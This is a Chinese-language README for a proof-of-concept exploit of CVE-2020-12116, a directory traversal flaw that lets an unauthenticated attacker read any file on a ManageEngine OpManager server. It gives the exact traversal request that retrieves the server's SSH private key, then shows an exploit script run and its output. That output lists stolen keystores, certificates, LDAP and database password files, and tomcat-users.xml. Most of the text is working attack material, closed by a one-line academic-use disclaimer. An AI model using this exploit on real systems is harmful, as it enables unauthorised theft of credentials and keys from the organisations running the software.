用于利用CVE-2020-12116的概念验证代码：对ManageEngine OpManager进行未认证的任意文件读取。
OpManager的最新版本包含一个目录遍历漏洞，允许无限制地访问OpManager应用程序中的每个文件。这包括私有SSH密钥、受密码保护的Java密钥库，以及包含密钥库密码、私有证书和后端数据库密码的配置文件。如果配置了LDAP，则可以从"conf/OpManager/ldap.conf"获取域凭据。
向ManageEngine OpManager应用程序的根目录发送一个未认证的GET请求，默认端口为8060。
GET / HTTP/1.1
Host: <HOSTNAME>:8060
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
响应HTML将包含缓存的JavaScript "src" URL。
<SCRIPT LANGUAGE="javascript" SRC="/cachestart/125116/cacheend/apiclient/fluidicv2/
javascript/jquery/jquery-3.4.1.min.js"></SCRIPT>
上述 "SRC" URL中的摘录包含一个目录遍历漏洞，允许从ManageEngine根安装目录读取任意文件。默认安装路径为"C:\Program Files\ManageEngine\OpManager"。
注意："/cachestart/"后面的数字是产品构建号，但任何数字都可以用于利用该漏洞。
利用响应HTML中的脚本源URL，可以通过目录遍历的GET请求从远程服务器读取任意文件。
GET /cachestart/125116/cacheend/apiclient/fluidicv2/javascript/jquery/../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: <HOSTNAME>:8060
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Cache-Control: max-age=0
Referer: http://<HOSTNAME>:8060/
HTTP/1.1 200
Set-Cookie: JSESSIONID=4E221B342BC080BC9AC2D19378364E3B; Path=/; HttpOnly
X-FRAME-OPTIONS: DENY
Accept-Ranges: bytes
ETag: W/"902-1586033949624"
Last-Modified: Sat, 04 Apr 2020 20:59:09 GMT
Vary: Accept-Encoding
Date: Mon, 13 Apr 2020 15:40:01 GMT
Connection: close
Content-Length: 902
-----BEGIN RSA PRIVATE KEY-----
MIICX...pXqnO
-----END RSA PRIVATE KEY-----
该脚本利用针对ManageEngine OpManager端点的任意文件读取漏洞来下载敏感文件，例如私钥、私有密钥库、证书、包含密码的配置文件等。
python3 exploit.py -t <hostname/IP> -p 8060 -d ./
[+] bin/.ssh_host_dsa_key saved to ./bin|.ssh_host_dsa_key
[+] bin/.ssh_host_dsa_key.pub saved to ./bin|.ssh_host_dsa_key.pub
[+] bin/.ssh_host_rsa_key saved to ./bin|.ssh_host_rsa_key
[+] bin/.ssh_host_rsa_key.pub saved to ./bin|.ssh_host_rsa_key.pub
[+] conf/client.keystore saved to ./conf|client.keystore
[+] conf/customer-config.xml saved to ./conf|customer-config.xml
[+] conf/database_params.conf saved to ./conf|database_params.conf
[+] conf/FirewallAnalyzer/aaa_auth-conf.xml saved to ./conf|FirewallAnalyzer|aaa_auth-conf.xml
[+] conf/FirewallAnalyzer/auth-conf_ppm.xml saved to ./conf|FirewallAnalyzer|auth-conf_ppm.xml
[+] conf/gateway.conf saved to ./conf|gateway.conf
[+] conf/itom.truststore saved to ./conf|itom.truststore
[+] conf/netflow/auth-conf.xml saved to ./conf|netflow|auth-conf.xml
[+] conf/netflow/server.xml saved to ./conf|netflow|server.xml
[+] conf/netflow/ssl_server.xml saved to ./conf|netflow|ssl_server.xml
[+] conf/NFAEE/cs_server.xml saved to ./conf|NFAEE|cs_server.xml
[+] conf/OpManager/database_params.conf saved to ./conf|OpManager|database_params.conf
[+] conf/OpManager/database_params_DE.conf saved to ./conf|OpManager|database_params_DE.conf
[+] conf/OpManager/ldap.conf saved to ./conf|OpManager|ldap.conf
[+] conf/OpManager/MicrosoftSQL/database_params.conf saved to ./conf|OpManager|MicrosoftSQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params.conf saved to ./conf|OpManager|POSTGRESQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params_DE.conf saved to ./conf|OpManager|POSTGRESQL|database_params_DE.conf
[+] conf/OpManager/securitydbData.xml saved to ./conf|OpManager|securitydbData.xml
[+] conf/OpManager/SnmpDefaultProperties.xml saved to ./conf|OpManager|SnmpDefaultProperties.xml
[+] conf/Oputils/snmp/Community.xml saved to ./conf|Oputils|snmp|Community.xml
[+] conf/Persistence/DBconfig.xml saved to ./conf|Persistence|DBconfig.xml
[+] conf/Persistence/persistence-configurations.xml saved to ./conf|Persistence|persistence-configurations.xml
[+] conf/pmp/PMP_API.conf saved to ./conf|pmp|PMP_API.conf
[+] conf/pmp/pmp_server_cert.p12 saved to ./conf|pmp|pmp_server_cert.p12
[+] conf/product-config.xml saved to ./conf|product-config.xml
[+] conf/SANSeed.xml saved to ./conf|SANSeed.xml
[+] conf/server.keystore saved to ./conf|server.keystore
[+] conf/server.xml saved to ./conf|server.xml
[+] conf/system_properties.conf saved to ./conf|system_properties.conf
[+] conf/tomcat-users.xml saved to ./conf|tomcat-users.xml
[+] lib/OPM_APNS_Cert.p12 saved to ./lib|OPM_APNS_Cert.p12
此概念验证代码是为学术研究而创建，不应用于未经明确授权的系统。代码按原样提供，对其执行不提供任何保证或承诺。我对滥用此代码不承担任何责任。